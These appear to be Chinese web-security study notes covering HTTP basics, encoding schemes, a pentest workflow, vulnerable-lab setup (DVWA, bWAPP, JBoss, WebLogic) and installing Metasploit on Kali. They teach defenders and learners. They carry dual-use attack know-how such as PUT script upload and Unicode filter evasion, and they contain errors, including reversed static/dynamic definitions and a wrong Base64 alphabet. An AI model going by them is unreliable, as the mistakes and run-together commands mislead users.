开通VIP,畅享免费电子书等14项超值服
首页
好书
留言交流
下载APP
联系客服
2023.11.12广东
Web应用程序安全与风险
1.web发展历程
静态内容阶段(HTML)
CGI程序阶段(增加了APA接口,可以动态)
脚本语言阶段(ASP,PHP,JSP等)
瘦客户端应用阶段(独立于WEB服务器的应用服务器)
RIA应用阶段(DHTML+AJAX可以不用刷新功能内容可变)
移动WEB应用阶段(安卓。Ios)
2.常见的WEB应用程序漏洞
跨站脚本漏洞
弱口令漏洞
SQL注入漏洞
密码重用漏洞
任意文件上传漏洞
密码泄露
远程代码执行漏洞
源代码信息泄露
任意文件下载漏洞
存在入侵痕迹
越权访问
登陆可暴力猜解漏洞
旁注漏洞
文件任意写入漏洞
……
3.核心安全问题和因素
1.核心的安全问题:
用户可向服务器端应用提交任意输入
2.关键问题因素
不成熟的安全意识
独立开发
欺骗性的简化
迅速发展的威胁形势
技术上强其所难
对功能需求不对增强
3.新的安全边界
安全边界向用户端转移
在web应用程序出现之前
主要在网络边界上抵御外部攻击,保护这个边界需要对其提供服务进行强化打补丁,设置防火墙。
在web应用程序出现之后
用户要访问应用程序,边界防火墙一定要允许其通过HTTP/HTTPS连接内部服务器,应用程序要实现其功能,必须允许其连接服务器来支持后端系统、数据库、大型主机、金融与后勤系统。
如果存在漏洞,只要提交专门设计的数据就可以公婆组织的核心后端系统,这些数据就像正常,良性数据流一样,穿透组织的所有防御
所以要在应用程序内部执行防御措施第三方小部件、以及很多跨域集成技术,让服务器端的安全边界跨越了组织本身的边界。
小结
应用程序使用SSL仅仅表示网络其他用户无法查看修改攻击者传送的数据
SSL无法阻止攻击者向服务器提交专门设计的输入
攻击者控制着SSL通道终端,可以向服务器发任何内容
4.做一个有良心的白帽子
攻防学习网址导航
HACKEDSAFE
Hackedsafe
众测平台:
漏洞盒子:www.vulbox.com
5.渗透测试基本流程
渗透测试流程
1.信息收集
2.扫描漏洞
3.漏洞利用
4.提权
5.渗透测试报告
————————————————
web请求流程与HTTP方法刨析
1.HTTP
HTTP超文本传输协议,是访问万维网使用的核心通信协议,也是今天所有web应用程序使用的通信协议。
HTTP使用一种用于消息的模型:客户端发送一条请求信息,服务端返回一条响应消息。
该协议基本上不需要连接,虽然HTTP使用有状态的TCP协议作为他的传输机制,但是每次请求和响应都会自动完成,并且可能使用不同的TCP连接。
1.1HTTP请求
HTTP请求实例:
HTTP请求实例分析
get
get:主要作用是从web服务器获取一个资源,存在一个名为uid、值为129的参数;HTTP1.1协议版本(HTTP1.1版本必须使用host请求头)
Accept
Accept表示浏览器支持的MIME类型。
MIME类型分别是:text/html、application/xhtml+xml、application/xml和/
text:用于标准化地表示的文本信息,文本消息可以是多种字符集和或者多种格式的;
text/html:表示html文档;
Application:用于传输应用程序数据或者二进制数据;
application/xhtml+xml表示xhtml文档;
application/xml表示xml文档
*/*表示支持任何类型
q:表示权重:如果没有则默认为1,表示优先这些类型。实例中0.9表示前面都没有就用这个,最后的0.8表示如果都没有,那么任意的类型都行。
q是权重系数,范围0= Referer Referer:用于表示发出请求的原始URL(例如,因为用户单击页面上的一个链接) (可防下载、盗链、判断非法链接) Accept-Language 表示浏览器支持的语言:zh-cn表示简体中文、zh表示中文;q表示权重系数。 User-Agent User-agent消息头提供与浏览器或其他生成请求的客户端软件有关的信息 HOST 用来指定被访问的完整url中的主机名。 如果多个站点以同一服务器为主机就需要使用host主机头。 Accept-Encoding 表示浏览器支持的压缩编码,如:gzip和deflate Cookie 用于提交服务器向客户端发布的其他参数 Connection 表示持久的客户端与服务连接。 Close和keep Close较好表示获取到数据后服务器与客户端断开 Keep用户量大会出问题 Upgrade-Insecure-Requests:1 X_FORWARDED_FOR 是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。 1.2HTTP响应 HTTP响应实例 HTTP响应实例分析 使用的HTTP版本。 表示请求结果的数字状态码。200是最常用的状态码.它表示成功提交了请求,正在返回所请求的资源。 一段文本形式的“原因短语”,进一步说明响应状态。这个短语中可包含任何值,当前浏览器不将其用于任何目的。 响应示例中的其他一些要点如下: Server消息头中包含一个旗标,指明所使用的Web服务器软件。有时还包括其他信息.如所安装的模块和服务器操作系统。其中包含的信息可能并不准确。 Set-Cookie消息头向浏览器发送另一个cookie.它将在随后向服务器发送的请求中由Cookie消息头返回。 Pragma消息头指示浏览器不要将响应保存在缓存中。Expires消息头指出响应内容已经过期.因此不应保存在缓存中。当返回动态内容时常常会发送这些指令,以确保浏览器随时获得最新内容。 几乎所有的HTTP响应在消息头后的空白行下面都包含消息主体,Content-Type消息头示这个消息主体中包含一个HTML文档。 Content-Length消息头规定消息主体的字节长度。 ETag:W/“59a3dc83-f61”浏览器根据HTTP请求的ETag验证请求的资源是否发生了改变,如果它未发生变化,服务器将返回“304NotModified”响应,并且资源从浏览器缓存中读取,这样就不必再次下载请求。 Vary:Accept-Encoding”标头,表示网站一般启用了GZip压缩 1.3HTTP消息头总结 1.常用消息头 用于告诉通信另一端,在完成HTTP传输后关闭TCP连接,还是保持连接开放以接受其他消息。 Content-Encoding 为消息主体中的内容指定编码形式(如gzip),程序通过它来压缩响应以加快传输速度。 Content-length 用与规定消息主体的字节长度, Content-type 用于规定消息主体的内容类型。如:HTML文档的内容类型为text/html Transfer-Encoding 指定编码 2.请求消息头 用于告诉服务器客户端愿意接受那些内容。 用于告诉服务器客户端愿意接受那些内容编码。 Authorization 这个消息头用于为一种内置HTTP身份验证向服务器提交证书。 这个消息头用于向服务器提交它以前发布的cookie. Host 这个消息头用于指定出现在所请求的完整URL中的主机名称。 If-Modified-Since If-None-Match 这个消息头用于指定一个实体标签。实体标签是一个说明消息主体内容的标识符。当最后一次收到所请求的资源时.浏览器提交服务器发布的实体标签。服务器可以使用实体标签确定浏览器是否使用资源的缓存副本。 Origin 这个消息头用在跨域Ajax请求中,用于指示提出请求的域。 这个消息头用于指示提出当前请求的原始URL。 这个消息头提供与浏览器或生成请求的其他客户端软件有关的信息。 3.响应消息头 Access-Control-Allow-Origin 这个消息头用于指示可否通过跨域Ajax请求获取资源。 Cache-Control 这个消息头用于向浏览器传送缓存指令(如no-cache)。 ETag 这个消息头用于指定一个实体标签。客户端可在将来的请求中提交这个标识符。获得和If-None-Match消息头中相同的资源,通知服务器浏览器当前缓存中保存的是哪个版本的资源。 Expires Location 这个消息头用于在重定向响应(那些状态码以3开头的响应)中说明重定向的目标。 Pragma 这个消息头用于向浏览器传送缓存指令(如no-cache). Server Set-Cookie 这个消息头用于向浏览器发布cookie.浏览器会在随后的请求中将其返回给服务器。 WWW-Authenticate 这个消息头用在带401状态码的响应中,提供与服务器所支持的身份验证类型有关的信息。 X-Frame-Options 这个消息头指示浏览器框架是否及如何加载当前响应 1.4HTTP方法 1.GET方法 Get方法的作用在于获取资源。它可以用于URL查询字符串的形式向所请求的资源发送参数。 2.POST方法 POST方法的主要作用是执行操作。使用这个方法可以在URL查询字符串与消息主体中发送请求参数。(提交表单) 3.HEAD 这个方法的功能与GET方法相似,不同之处在于服务器不会在其响应中返回消息主体。服务器返回的消息头应与对应GET请求返回的消息头相同。因此,这种方法可用于检查某一资源在向其提交GET请求前是否存在。 TRACE 这种方法主要用于诊断。服务器应在响应主体中返回其收到的请求消息的具体内容。这种方法可用于检测客户端与服务器之间是否存在任何操纵请求的代理服务器。 OPTIONS 这种方法要求服务器报告对某一特殊资源有效的HTTP方法。服务器通常返回一个包含Allow消息头的响应,并在其中列出所有有效的方法。 PUT 这个方法试图使用包含在请求主体中的内容,向服务器上传指定的资源。如果激活这个方法,渗透测试员就可以利用它来攻击应用程序。例如,通过上传任意一段脚本并在服务器上执行该脚本来攻击应用程序。 (move改名数据包、copy复制数据包、delete删除数据、propfind生成返回有浏览目录权限的内容目录的数据包,最后点提交数据包把生成的数据包提交到服务器) 还有许多其他与攻击Web应用程序没有直接关系的HTTP方法。然而,如果激活某些危险的方法,Web服务器可能面临攻击风险。 1.5URL 标识Web资源的唯一标识符。通过它即可获取其标识的资源。 默认端口80 写在域名后 ?id=1(取出数据库id为1的数据返回) 1.6cookie 是大多数web程序依赖HTTP协议的一个关键组成部分。常通过它利用web程序中的漏洞。 1.7状态码 HTTP响应消息第一行会包含一个状态码。 根据代码的第一个数字分为一下五类: 1XX————提供信息 2XX————请求被成功提交 3XX————客户端被重定向到其他资源 4XX————请求包含某种错误 5XX————服务器执行请求时遇到错误 渗透测试中最有可能遇到的状态码及原因短语 100Continue表示已经收到消息请求头,客户端继续发送主体。 200OK表示以成功提交请求,且响应主体包含请求结果。 201creatrdput请求的响应返回这个状态码,表示请求已成功提交。 301MovedPermanently。本状态码将浏览器永久重定向到另外一个在Location消息头中指定的URL。以后客户端应使用新URL替换原始URL。 302Found。本状态码将浏览器暂时重定向到另外一个在Location消息头中指定的URL.客户端应在随后的请求中恢复使用原始URL. 304NotModified。本状态码指示浏览器使用缓存中保存的所请求资源的副本。服务器使用If-Modified-Since与工f-None-Match消息头确定客户端是否拥有最新版本的资源。 400BadRequest。本状态码表示客户端提交了一个无效的HTTP请求。当以某种无效的方式修改请求时(例如在URL中插人一个空格符),可能会遇到这个状态码。 401Unauthorized.服务器在许可请求前要求HTTP进行身份验证。WWW-Authenticate消息头详细说明所支持的身份验证类型。 403Forbidden。本状态码指出,不管是否通过身份验证,禁止任何人访问被请求的资源。 404NotFound。本状态码表示所请求的资源并不存在。 405MethodNotAllowed。本状态码表示指定的URL不支持请求中使用的方法。例如,如果试图在不支持PUT方法的地方使用该方法,就会收到本状态码。 413RequestEntityTooLarge。如果在本地代码中探查缓冲器滋出漏洞并就此提交超长数据串.则本状态码表示请求主体过长,服务器无法处理。 414RequestURITooLong。与前一个响应类似,本状态码表示请求中的URL过长,服务器无法处理。 500InternalServerError。本状态码表示服务器在执行请求时遇到错误。当提交无法预料的输人、在应用程序处理过程中造成无法处理的错误时,通常会收到本状态码。应该仔细检查服务器响应的所有内容,了解与错误性质有关的详情。 503ServiceUnavailable。通常,本状态码表示尽管Web服务器运转正常.并且能够响应请求,但服务器访问的应用程序还是无法作出响应。应该进行核实,是否因为执行了某种行为而造成这个结果。 1.8HTTPS HTTP使用普通的非加密TCP作为其传输机制.因此,处在网络适当位置的攻击者能够截取这个机制。HTTPS本质上与HTTP一样,都属于应用层协议.但HTTPS通过安全传输机制—安全套接层(SecureSocketLayer,SSL)传送数据。这种机制可保护通过网络传送的所有数据的隐密性与完整性,显著降低非人侵性拦截攻击的可能性。不管是否使用SSL进行传输,HTTP请求与响应都以完全相同的方式工作。 1.9HTTP代理 HTTP代理服务器是协调浏览器与目标web服务器之间访问的服务器 **当使用HTTPS时,**浏览器无法与代理服务器进行SSL握手.因为这样做会破坏安全隧道,使通信易于遭受拦截攻击。因此.浏览器必须将代理作为一个纯悴的TCP级中继,由它传递浏览器与目标Web浏览器之间的所有网络数据,并与浏览器进行正常的SSL握手。浏览器使用CONNECT方法向代理服务器提交一个HTTP清求.并指定URL中的目标主机名称与端口号.从而建立这种中继。如果代理允许该请求,它会返回一个含200状态码的HTTP响应,一直开放TCP连接.从此以后作为目标Web服务器的纯梓TCP级中继。 从某种程度上说,攻击Web应用程序时最有用的工具是一个处在浏览器与目标Web站点之间的专用代理服务器,使用它可以拦截并修改所有使用HTTPS的清求与响应。 1.10HTTP身份验证 Basic 它在请求消息头中随每条消息以basic64编码字符串的形式发送用户证书。 NTLM NTLMWindowsNT挑战/响应验证机制(早期的安全协议) NTLMv2及Kerberos验证体系(更新的安全按协议) Digest 是一种相应式机制,随同用户证书一起使用一个随机值MD5校验和。 2.WEB功能 2.1服务端功能 早期web站点由静态资源组成,如HTML页面与图片;当用户提交请求时,只需将它们加载到Web服务器,再传送给用户即可。每次用户请求某个特殊的资源时,服务器都会返回相同的内容。 如今的Web应用程序仍然使用相当数量的静态资源。但它们主要向用户提供动态生成的内容。当用户请求一个动态资源时.服务器会动态建立响应,每个用户都会收到满足其特定需求的内容。 动态内容由在服务器上执行的脚本或其他代码生成。在形式上,这些脚本类似于计算机程序:它们收到各种输入,并处理输入,然后向用户返回输出结果。 当用户的浏览器提出访问动态资源的请求时,它并不仅仅是要求访问该资派的副本。通常它还会随请求提交各种参数。正是这些参数保证了服务器端应用程序能够生成适合各种用户需求的内容。 HTTP请求使用3种主要方式向应用程序传送参数: 通过URL查询字符串; 通过REST风格的URL的文件路径; 通过HTTPcookie; 通过在请求主体中使用POST方法。 除了这些主要的输人源以外,理论上,服务器端应用程序还可以使用HTTP请求的任何一个部分作为输人。例如,应用程序可能通过User}Agent消息头生成根据所使用的浏览器类型而优化的内容。 像常见的计算机软件一样.Web应用程序也在服务器端使用大赞技术实现其功能。这些技术包括: 脚本语言,如PHP,VBScript和Perl; Web应用程序平台.如ASP.NET和Java; Web服务器.如Apache,IIS和NetscapeEnterprise; 数据库.如MS-SQL,Oracle和MySQL; 其他后端组件,如文件系统、基于SOAP的Web服务和目录服务。 常见的web应用程序平台和语言 Java 它应用多层与负载平衡架构,非常适于模块化开发与代码重复利用。由于其历史悠久、应用广泛,因此.开发者在开发过程中可以利用许多高质最的开发工具、应用程序服务器与框架。Java平台可在几种基础型操作系统上运行,包括Windows、Linux与Solaris, Rubyonrails ,主要侧重于模型-视图-控制器体系架构。Rail:的主要优势在于,使用它能够以极快的速度创建成熟的数据驱动应用程序。如果开发者遵循Rails编码风格和命名约定,则可以使用Rails自动生成数据库内容的模型、修改该模型的控制器操作以及供应用程序用户使用的默认视图。与其他功能强大的新技术一样,人们已在RubyOnRails中发现了一些漏洞.包括能够避开“安全模式”,这与在PHP中发现的漏洞类似。 有关最近发现的漏洞的详细信息,请参阅www.ruby-lang.org/en/security/ Sql 结构化查询语言(SQL)用于访问Oracle,MS-SQL服务器和MySQL等关系数据库中的数据。目前,绝大多数的Web应用程序都将基于SQL的数据库作为它们的后端数据仓库,而且,几乎所有应用程序的功能都需要以某种方式与这些数据仓库进行交互。 关系数据库将数据存储在表中,每个表又由许多行和列构成。每一列代表一个数据字段,如“名称”或“电子邮件地址”.每一行则代表为这些字段中的一些或全部字段分配值的项。 SQL使用查询来执行常用的任务,如读取、添加、更新和删除数据。例如,要检索用户的具有指定名称的电子邮件地址,应用程序可以执行以下查询: selectemailfromuserswherename=’daf’ 要实现它们所需的功能,Web应用程序可能会将用户提交的输人组合到由后端数据库执行的SQL查询中。如果以危险的方式进行组合,攻击者就可以提交恶惫输人来干扰数据库的行为,从而读取和写人敏感数据。我们将在第9章中介绍这些攻击,并详细说明SQL语言及其用法 Xml 可扩展标记语言(XML)是一种机器可读格式的数据编码规范。与其他标记语言一样.XML格式将文档划分为内容(数据)和标记(给数据作注解))。 标记主要用标签表示,它们包括起始标签、结束标签和空元素标签: 起始和结束标签成对出现,其中可以包括文档内容或子元素: ginger spotpaws 标签可以包含以名l值对出现的属性: … XML之所以可扩展,是因为它可以使用任意数放的标签和属性名。XML文档通常包含文档 类型定义(DTD),DTD定义文档中使用的标签、属性及其组合方式。 服务器端和客户端Web应用程序广泛采用XML及由XML派生的技术 Web服务 Web服务使用简单对象访问协议(SOAP)来交换数据。通常,SOAP使用HTTP协议来传送 消息,并使用XML格式表示数据。 典型的SOAP请求如下所示: POST/doTransfer.aspHTTP/1.0Host:mdsec-mgr.int.mdsec.netContent-Type:application/soap+xml;charset=utf-8Content-Length:891 182810081430False08447656 在使用浏览器访问Web应用程序时很可能会遇到SOAP,服务器端应用程序使用它与各种后端系统进行通信。如果将用户提交的数据直接组合到后端SOAP消息中,就可能产生与SQL注人类似的漏洞。 如果Web应用程序还直接公开Web服务,那么.我们还需要检查这些Web服务。即使前端应用程序是基于Web服务编写的,但它们在箱人处理以及服务本身所披露的功能方面仍存在区别。正常悄况下,服务器会以Web服务描述语言(WSDL)格式公布可用的服务和参数。攻击者可以 使用soapUl之类的工具、基于已公布的WSDL文件创建示例请求,以调用身份验证Web服务.获得身份验证令牌.并随后提出任何Web服务请求。 2.2客户端功能 服务器端应用程序要接收用户输人与操作,并向用户返回其结果,它必须提供一个客户端用户界面。由于所有Web应用程序都通过Web浏览器进行访问.因此这些界面共享一个技术核心。然而,建立这些界面的方法各不相同。 1.HTML 是建立web界面所需的核心技术,是用于描述浏览器所显示的文档结构的基于标签的语言, XHTML是HTML的进化版本,是基于XML,且采用更严格的规范,以避免由于浏览器必须接受不太严格的HTML格式而导致的各种攻击和安全问题。 2.超链接 客户端与服务器之间的大量通信都由用户单击超链接驱动。**Web应用程序中的超链接通常包含预先设定的请求参数.这些数据项不需由用户输人,而是由服务器将其插人用户单击的超链接的目标URL中,以这种方式提交。**例如,Web应用程序中可能会显示一系列新闻报道链接,其形式如下: What’shappening 当用户单击这个链接时,浏览器会提出以下请求: GET/news/8/redir=/updates/update29.htm1HTTP/1.1 Host:mdsec.net 服务器收到查询字符串中的参数(newsid).并使用它的值决定向用户返回什么内容。 3.表单 虽然基于超链接的导航方法负责客户端与服务器之间的绝大多数通信,但许多Web应用程序还是需要采用更灵活的形式收集输入,并接收用户输人。HTML表单是一种常见的机制,允许用户通过浏览器提交任意输入。以下是一个典型的HTTP表单: 2.3状态与会话 为实现各种有用的功能.应用程序需要追踪每名用户通过不同的请求与应用程序交互的状态。例如,一个购物应用程序允许用户浏览产品目录、往购物车内添加商品、查看并更新购物车内容、结账并提供个人与支付信息。 在一些应用程序中,状态信息保存在客户端组件而非服务器中。服务器在响应中将当前的数据传送给客户端,客户端再在请求中将其返回给服务器。当然.由于通过客户端组件传送的任何数据都可被用户修改,因此,应用程序需要采取措施阻止攻击者更改这些状态信息,破坏应用程序的逻辑。ASP.NET平台利用隐藏表单字段ViewState保存与用户的Web界面有关的状态信息,从而减轻服务器的工作负担。默认情况下ViewState的内容中还包括一个密钥散列,以防止受到破坏。 因为HTTP协议本身并没有状态.为使用正确的状态数据处理每个请求,大多数应用程序需要采用某种方法在各种请求中重新确认每一名用户的身份。通常,应用程序会向每名用户发布一个令牌.对用户会话进行唯一标识.从而达到这一目的。这些令牌可使用任何请求参数传输.但许多应用程序往往使用HTTPcookie来完成这项任务。 3.编码方案 1.url编码(工具可转换) URL编码方案主要用于对扩展ASCII字符集中的任何有问题的字符进行编码,使其可通过HTTP安全传输。任何URL编码的字符都以%为前缀,其后是这个字符的两位十六进制ASCII代码。 常见的url编码字符: %3d代表= %25代表% %20代表空格 %0a代表换行 %00代表空字节 2.Unicode编码 Unicode是一种为支持全世界所使用的各种编写系统而设计的字符编码标准,它采用各种编码方案.其中一些可用于表示Web应用程序中的不常见字符。 16位Unicode编码的工作原理与URL编码类似**。为通过HTTP进行传输16位Unicode编码的字符以u为前缀,其后是这个字符的十六进制Unicode码点。**例如: %u2215代/ %u00e9代表 **UTF-8是一种长度可变的编码标准.它使用一个或几个字节表示每个字符。为通过HTTP进行传输,UTF-8编码的多字节字符以毛为前缀,其后用十六进制表示每个字节。**例如: %c2%a9代表 %e2%89%a0代表 攻击Web应用程序时之所以要用到Unicode编码,主要在于有时可用它来破坏输入确认机制。如果输入过滤阻止了某些恶意表达式.但随后处理输入的组件识别Unicode编码,就可以使用各种标准与畸形Unicode编码避开过滤。 3.HTML编码 HTML编码是一种用于表示问题字符以将其安全并入HTML文档的方案。有许多字符具有特殊的含义(如HTML内的字符),并被用于定义文档结构而非其内容。为了安全使用这些字符并将其用在文档内容中,就必须对其进行HTML编码。 HTML编码定义了大量HTML实体来表示特殊的字面量字符.例如: &apos:代表’ &代表& <代表< &g:;代表> 此外,任何字符都可以使用它的十进制ASCII码进行HTML编码.例如: #39;代表’ 或者使用十六进制的ASCII码(以x为前缀),例如: 当攻击Web应用程序时,HTML编码主要在探查跨站点脚本漏洞时发挥作用。如果应用程序在响应中返回未被修改的用户输人,那么它可能易于受到攻击,但是,如果它对危险字符进行HTML编码也许比较安全。 4.Base64编码 Base64编码仅用一个可打印的ASCII字符就可安全转换任何二进制数据.它常用于对电子邮件附件进行编码,使其通过SMTP安全传输。它还可用于在基本HTTP验证机制中对用户证书进行编码。 Base64编码将输人数据转换成3个字节块。每个块被划分为4段,每段6个数据位。这6个数据位有64种不同的排列组合,因此每个段可使用一组64个字符表示。Base64编码使用以下字符集其中只包含可打印的ASCII字符: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopgrstuvwxyz0123456789-/ 如果最后的输人数据块不能构成3段输出数据,就用一个或两个等号(=)补足输出。 例如,TheWebApplicationHacker’sHandbook的Base64编码为: VGh1IFdlYiBBcHBsaWNhdGlvbiBIYWNrZXIncyBIYW5kYm9vaw== 许多Web应用程序利用Base64编码在cookie与其他参数中传送二进制数据,甚至用它打乱敏感数据以防止即使是细微的修改。应该总是留意并解码发送到客户端的任何Base64数据。由于这些数据使用特殊的字符集,而且有时会在字符串末尾添加补足字符(二),因此可以轻易辨别出Base64编码的字符串。 5.十六进制编码 许多应用程序在传送二进制数据时直接使用十六进制编码,用ASCII字符表示十六进制数据 块。例如,对cookie中的用户名daf进行十六进制编码,会得到以下结果: 646166 和Base64编码的数据一样,十六进制编码的数据通常也很容易辨认。为了解十六进制编码的 功能应当对服务器发送到客户端的任何十六进制数据进行解码。 6.远程和序列化框架 这类远程和序列化框架包括: Flex和AMF; Silverlight和WCF; Java序列化对象。 ThinkPHP Struts2 Web常识拓展: 1.静态动态语言区别 答:动态语言:服务端和客户端代码不一致(如html) 静态语言:服务端和客户端代码一致(如:asp,php,aspx,jsp) 2。常见的脚本语言有那些 答:asp、php、aspx、jsp、cgi、war、do、py、pl 3.常见的数据库有那些 答:accessmysqlmssql(sqlserver)oraclepostsqldb2 4.常见的数据库与脚本语言搭配 答:asp+access,asp+mssql,php+mysql,aspx+mssqlaspx+oracle,jsp+oracle,jsp+mssql等 5.系统、脚本语言、中间件如何组合 答:Windows2003/2008/2012+asp、aspx、php+iis6.0/7.0+7.5 Apache+Windows/Linux+PHPWindows/Linux+Tomcat+JSP 6.渗透测试过程中如何查看对方网站平台 答:1、工具(RASS、天镜、NMAP、X-SCAN)2、第三方平台(seo.chinaz.com)3、通过ping观看TTL值 渗透测试攻防环境搭建 1.VMware虚拟机下载与安装 官网下载地址: 安装: 下一步即可、不多做说明。 2.Windows和Kali操作系统安装 1.Windows系列: Xp、7、Server2003、Server2008 镜像下载地址: MSDN: 虚拟中安装即可,不做说明。 2.kali 下载地址 1.KALILinux是一个基于Debian的Linux发行版,所以在虚拟机中选择客户机操作系统及版本要选择Debian系列。 2.为了安装方便在安装界面选择图形界面安装(Graphicalinstall) 3.设置网络 vi/etc/network/interfaces autoeth0//指定eth0网卡 ifaceeth0inetstatic//静态地址(动态获取用dhcp) address192.168.0.133//IP地址 netmask255.255.255.0//子网掩码 gateway192.168.0.1//默认网关 重启网络/etc/init.d/networkingrestart 4.替换yum源 root@kali:~#vi/etc/apt/sources.list 将原有的更新源用#注释掉 中科大源(够用了) 5.升级kali 升级指令:“apt-getupdate&&apt-getupgrade”6. 1.phpstudy安装与使用 下载地址: 下一步即可,不多做说明 2.PHPstudy集成环境下需搭建的平台 (bwapp、pikachu、dvwa、phpcms) Bwapp: 在WWW中创建一个Bwapp文件夹 把bwapp文件转移进去 在浏览器地址栏Ip地址bwapp/bwapp/install.php installed安装成功 ok pikachu 在WWW中创建一个pikachu文件夹 把pikachu文件转移进去 浏览器进入pikachu文件夹ubstall.php 初始化安装 DVWA 在WWW中创建一个DVWA文件夹 把dvwa文件转移进去 把config.inc.php.dist的dist去掉 创建数据库 Ok phpcms搭建 在WWW中创建一个phpcms文件夹 把文件转移进去 在浏览器地址栏Ip地址phpcms/instal/linstall.php 开始安装 账号root密码root超级管理admin密码123456 index.php开始使用 mysql知识补充 连接数据库 mysql-h要连接的数据库地址-u用户-p密码 导出备份 mysqldump-h导入地址-P端口号-u用户名-p密码想导出的库>c:\sql.sql 导入 mysql-h127.0.0.1-uroot-prootsql 也可以通过source命令导入 mysql>createdatabaseabc;#创建数据库 mysql>useabc;#使用已创建的数据库 mysql>setnamesutf8;#设置编码 mysql>sourcec:/sql.sql#导入备份数据库 更改漏洞文件连接方式与数据库信息一致,访问数据库?id=1 有时版本不一样连接方式可能不同,出现错误 4.asp+aspx+mssql攻防环境搭建asp、aspx攻防程序部署 虚拟机中打开Windowsserver2003—控制版面—添加程序—添加asp.net (注意:上面的操作要确保装入Windowsserver2003光盘镜像) 打开刚安装的IIS—禁用默认网站—点开web服务扩展—启用ActiveServerPages 在C盘中创建www文件夹—将wwwtest.rar(里面是要用到的一些asp\aspx网站文件包)解压到www文件夹中。 打开iis–-新建网站—填写IP—端口—路径选www中的网站文件—网站访问权限(读取、运行脚本)–完成 在左侧网站栏—选择新建好的网站右键属性—主目录—配置—选项—启用父目录—文档中添加默认首页index.asp 2.安装sqlserver2008 安装.Net框架(4.0版本) 将sqlserver2008镜像文件挂载在Windowsserver2003系统—从光盘打开setup.exe—安装时功能全选–对所有SQLSERVER服务使用相同账户(创建超级账户),浏览,高级,立即查找,设置密码–身份验证模式混合验证,添加一个管理员,为当前用户 打开sqlserver管理控制台(SQLServerManagementStudio)–导入库—附加数据库即可 在iis中建站—路径为sqlserver即可。 (注意:此时会发现PHPstudy集成环境中搭建的环境无法打开,将PHPstudy中阿帕奇的端口进行改,本人改为81) 5.tomcat+struts环境搭建 这里简单使用JSPstudy集成环境实现: 按照默认方式安装好jspstudy后—找到默认根目录tomcat/webapps 在struts-2.文件—找到apps文件夹—将里面的文件拖到webapps文件夹中—会自动解压 structs开发之后打包是以.var结尾(文件多的正常都是打包之后再部署,相当于压缩) (注意:将阿帕奇的端口进行修改,本人改为81:tomcat端口改为8081(看个人主要为了不和jboos的端口冲突)) 6.jboos环境搭建 1.安装jdk配置环境变量 新建系统变量 变量名为:JAVA_HOME变量值:C:\ProgramFiles\Java\jdk1.6.0_45\ 变量名:Path变量值:%JAVA_HOME%\bin;%JAVA_HOME%\jre\bin 变量名:CLASSPATH变量值:.;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar 新建用户变量 变量名为:Path变量值:%SystemRoot%/system32;%SystemRoot%;%JBOSS_HOME%\bin 2、下载jboss并配置运行环境变量 新建系统变量,变量名为:JBOSS_HOME变量值:c:\jboss 变量名为:SystemRoot变量值:C:\Windows 3、环境变量配好之后,需要为JBOSS添加用户,调用dos窗口,输入命令add-user 只能用本地连接 5、端口及ip修改 进入jboss-6.1.0.Final\server\default\deploy\jbossweb.sar 编辑server.xml搜索“8080″和${jboss.bind.address}改为80及ip为:0.0.0.0 0.0.0.0表示类ip地址 或直接运行run.bat-b0.0.0.0 7.weblogic环境搭建 在服务器命令提示符中保证Java、javac可以命令成功运行 找到下载weblogic.jar文件 (注意:打开weblogic.jar方法:在桌面新建文件夹重命名为weblogic,然后用解压工具直接打开weblogic.jar文件,将里面的文件直接拖到新建的weblogic文件夹中) 在weblogic文件夹中找到install.exe双击运行 注意:(下面未提到的位置按默认即可) 进度到安装类型那一块选择weblogic.server安装即可 进度到先决条件检查时会报错,不用管,直接下一步 进度到安装完成时,后续步骤:启动weblogic配置导向前一定打勾 在weblogic配置向导中,创建域选择第一个basicweblogicserverdomain-12.1.2.0即可 管理员账户设置账户密码:密码需要口令复杂度要求。 浏览器登陆时要有路径 kali之msf渗透测试 1.metasploit介绍、安装、更新、目录结构 1.metasploit介绍 Metasploit就是一个漏洞框架。它的全称叫做TheMetasploitFramework,简称MSF。是一个免费、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数2000多个已知软件漏洞的专业级漏洞攻击工具。Metasploit就是一个漏洞框架。 2.MSF安装要求 硬盘空间: 至少10G,个人建议50G;由于分区时用FAT32类型不支持大文件运行,所以分区建议使用NTFS、EXT3类型分区, 内存: 建议2G及以上 处理器: 处理器要求较低,市面上电脑均可满足要求,处理速度大于500HZ即可 网络设备 虚拟机中桥接即可,也可以自己配置IP,无线网络需要外接无线网卡 软件: KALI和其他测试系统 虚拟机: 必备:需安装kali和各种测试系统 Kali: 升级指令:“apt-getupdate&&apt-getupgrade” Metasploitable系统: 它包含Linux系统中大大小小的漏洞,很适合做测试系统。 下载之后发现是zip格式的,直接解压用vm打开就可以。 3.MSF更新 1.替换yum源,将原有源用#注释掉。 vi/etc/apt/sources.list kali官方源 #中科大源 保存退出即可 注意(vi编辑之保存—退出) 按ESC键跳到命令模式,然后: :w保存文件但bai不退出vi :wfile将修改另外保存到file中,du不退出vi :w!强制保存,不推zhi出vi :wq保存文件并退出vi :wq!强制保存文件,并退出vi q:不保存文件,退出vi :q!不保存文件,强制退出vi :e!放弃所有修改,从上次保存文件开始再编辑 2.添加数字签名 wgetarchive.kali.org/archive-key.asc//下载签名 apt-keyaddarchive-key.asc//安装签名 注:如果添加数字签名还提示无法安装可删除原有msf root@kali:~#aptremovemetasploit-framework 注:卸载过程中无法获得锁/var/cache/apt/archives/lock-open(11:资源暂时不可用) 无法对目录/var/cache/apt/archives/加锁 root@kali:~#sudorm/var/cache/apt/archives/lock//进行强制解锁root@kali:~#sudorm/var/cache/apt/archives/ 3.安装msf框架 root@bogon:~#apt-getupdateroot@kali:~#apt-getinstallmetasploit-framework//安装msf框架root@kali:~#msfconsole//发现有提示数据库未启动,退出msf启动数据库root@kali:~#systemctlstartpostgresql//启动数据库root@kali:~#systemctlenablepostgresql//允许开机自启动root@kali:~#msfdbinit//构建数据库缓存root@kali:~#msfconsole 注意 如果更新完msf出现才下问题 root@kaliew:~#msfconsole []Bundlerfailedtoloadandreturnedthiserror: []Youmayneedtouninstallorupgradebundler 解决方法: root@kaliew:~#sudogeminstallbundler root@kaliew:~#bundleupdatecelluloid 4.MSF目录结构 MSF在BT5下存放目录 /opt/MSF MSFKali下存放目录 /usr/share/MSF-framework/ 漏洞框架地址 